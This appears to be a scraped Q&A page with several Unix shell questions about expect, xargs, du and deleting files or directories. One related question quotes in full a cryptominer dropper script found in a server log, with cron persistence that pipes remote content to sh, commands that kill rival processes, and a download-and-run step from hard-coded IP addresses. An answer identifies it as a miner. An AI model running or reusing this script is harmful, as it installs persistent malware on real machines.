How to assign multi commands to a spawn in UNIX? - expect

How can I execute all these commands in 1 spawn?
These are the commands:
sudo du -ckhx /opt/ | sort -rh | head -10
sudo du -ckhx /usr/ | sort -rh | head -10
sudo du -ckhx /var/ | sort -rh | head -10
This is the spawn command:
spawn ssh -o StrictHostKeyChecking=no $username#$ip $commands
After the spawn, I'm using expect for the password...
I know I can assign them to 1 variable, such as:
set commands "sudo du -ckhx /opt/ | sort -rh | head -10 && sudo du -ckhx /usr/ | sort -rh | head -10 &&..."
but it will be so long if I have many of those commands (for some other directories I want).
Thanks!

Perhaps:
set commands {
sudo du -ckhx /opt/ | sort -rh | head -10
sudo du -ckhx /usr/ | sort -rh | head -10
sudo du -ckhx /var/ | sort -rh | head -10
}
spawn ssh -o StrictHostKeyChecking=no $username#$ip sh -c $commands
Building on Nate's comment:
set dirs { /opt /usr /var }
set cmds [lmap dir $dirs {
format {sudo du -ckhx %s | sort -rh | head -10} $dir
}]
spawn ssh ... sh -c [join $cmds \n]
I'd recommend you get a bit familiar with tcl syntax if you're going to be developing expect code.
To add commands, you use Tcl list commands.
append: lappend cmds {echo "this is the last command"}
prepend: set cmds [linsert $cmds 0 {echo "first command"}]

Related

Found this shell script was executed in my python server log. Can anyone tell me it's purpose?

The code below showed up in my python3 server log, on my Ubuntu 20.04 Linux desktop system. Is it just my suspicious nature, or was this an attempt to hack my computer?
cc=http://31.42.177.123
sys=sysrv005
bit=$(getconf LONG_BIT)
ps aux | grep kthreaddi | grep tmp | awk '{print $2}' | xargs -I % kill -9 %
ps aux | egrep 'sysrv001|sysrv002|sysrv003|sysrv004|network01|network00' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep sysrv | grep -v 0 | awk '{print $2}' | xargs -I % kill -9 %
crontab -r
echo "*/30 * * * * (curl --user-agent curl_cron $cc||wget --user-agent wget_cron -q -O - $cc)|sh" | crontab -
#pkill -9 $sys
get() {
chattr -i $2; rm -rf $2
curl --user-agent curl_ldr$bit -fsSL $1 > $2 || wget --user-agent wget_ldr$bit -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));"
chmod +x $2
}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then
get 31.210.20.120/sysrvv $sys; ./$sys
fi
Yes it's a Bitcoin Miner.
31.42.177.123/... basically downloads the above shell script, which points to 31.210.20.120 to download the sysrvv file which is a Bitcoin miner.

Pipe commands at each xargs pass

Lets say I have this :
echo '/dev/sd'{a..d} | xargs -n 1 lsblk $1
But now I want to pipe each pass of the xargs as for instance :
echo '/dev/sd'{a..b} | xargs -n 1 lsblk $1 | tail -n +2
Now, that does not work obviously, because the pipe is applied to the entire xargs commands. So I might try this :
echo '/dev/sd'{a..b} | xargs -n 1 bash -c "lsblk $1 | tail -n +2"
But the problem is that now $1 has no value inside of the shell.
How can I over come this? Or basically, How can I pipe the execution being done by xargs at each pass?
This should give you the report you are seeking:
find /dev/sd? -print | xargs -n 1 lsblk | egrep '^NAME|^sd'
The output on my system with only sda looks like:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 64G 0 disk

Use du command on files only

How can I make this command run on files only?
du -h * | sort -h -r | head -n 5
Now I am using * which runs on all files and directories but I want to change that.
you need to use the find utility to pinpoint only the files:
find . -type f -exec du -h {} + | sort -n -r | head -n 5
also you have a typo, it's sort -n -r not sort -h -r
Maybe it helps
for i in $(ls -d */ | sort -h -r | head -n 5); do du -h $i; done

Bash script getting error in files

Hi Guys pls help on this...
[root#uenbe1 ~]# cat test.sh
#!/bin/bash
cd /vol/cdr/MCA
no='106'
value='55'
size=`df -kh | grep '/vol/cdr/MCA' | awk '{print $5}'| sed 's/%//g'`
if [ "$size" -gt "$value" ] ;
then
delete=$(($size-$value))
echo $delete
count=$(($no*$delete))
`ls -lrth | head -n $count | xargs rm -rf`
fi
output:
+ cd /vol/cdr/MCA
+ no=106
+ value=55
++ df -kh
++ grep /vol/cdr/MCA
++ awk '{print $5}'
++ sed s/%//g
+ size=63
+ '[' 63 -gt 55 ']'
+ delete=8
+ echo 8
8
+ count=848
++ ls -lrth
++ head -n 848
++ xargs rm -rf
rm: invalid option -- 'w'
Try `rm --help' for more information.``
i want to delete these files which in $count.
The command ls -lrth prints lines like:
-rw-r--r-- 1 bize bize 0 may 22 19:54 text.txt
-rw-r--r-- 1 bize bize 0 may 22 19:54 manual.pdf
that text given to the command rm will be interpreted as options
$ rm -rw-r text.txt
rm: invalid option -- 'w'
List only the name of files. That is: remove the long -l option from ls (and the -h option since it works only with -l):
$ ls -1rt | head -n "$count" | xargs
But Please: do not make a rm -rf automatic, that is a sure path to future problems.
Maybe?:
$ ls -1rt | head -n "$count" | xargs -I{} echo rm -rf /vol/cdr/MCA/'{}' \;
why are you passing
ls -l
use just, it will find the list of file greater than given size,
if you get this list in a file you can then take list of files which are to be deleted or whatever
find /vol/cdr/MCA -type f -size +56320c -exec ls '{}' \;
> `ls -lrth | head -n $count | xargs rm -rf`
This line has multiple problems. The backticks are superfluous, and you are passing the directory permission, file size, owner information etc as if that were part of the actual file name.
The minimal fix is to lose the backticks and the -l option to ls (and incidentally, the -r option to rm looks misplaced, too); but really, a proper solution would not use ls here at all.

Bash scripting: Deleting the oldest directory

I want to look for the oldest directory (inside a directory), and delete it. I am using the following:
rm -R $(ls -1t | tail -1)
ls -1t | tail -1 does indeed gives me the oldest directory, the the problem is that it is not deleting the directory, and that it also list files.
How could I please fix that?
rm -R "$(find . -maxdepth 1 -type d -printf '%T#\t%p\n' | sort -r | tail -n 1 | sed 's/[0-9]*\.[0-9]*\t//')"
This works also with directory whose name contains spaces, tabs or starts with a "-".
This is not pretty but it works:
rm -R $(ls -lt | grep '^d' | tail -1 | tr " " "\n" | tail -1)
rm -R $(ls -tl | grep '^d' | tail -1 | cut -d' ' -f8)
find directory_name -type d -printf "%TY%Tm%Td%TH%TM%TS %p\n" | sort -nr | tail -1 | cut -d" " -f2 | xargs -n1 echo rm -Rf
You should remove the echo before the rm if it produces the right results

Resources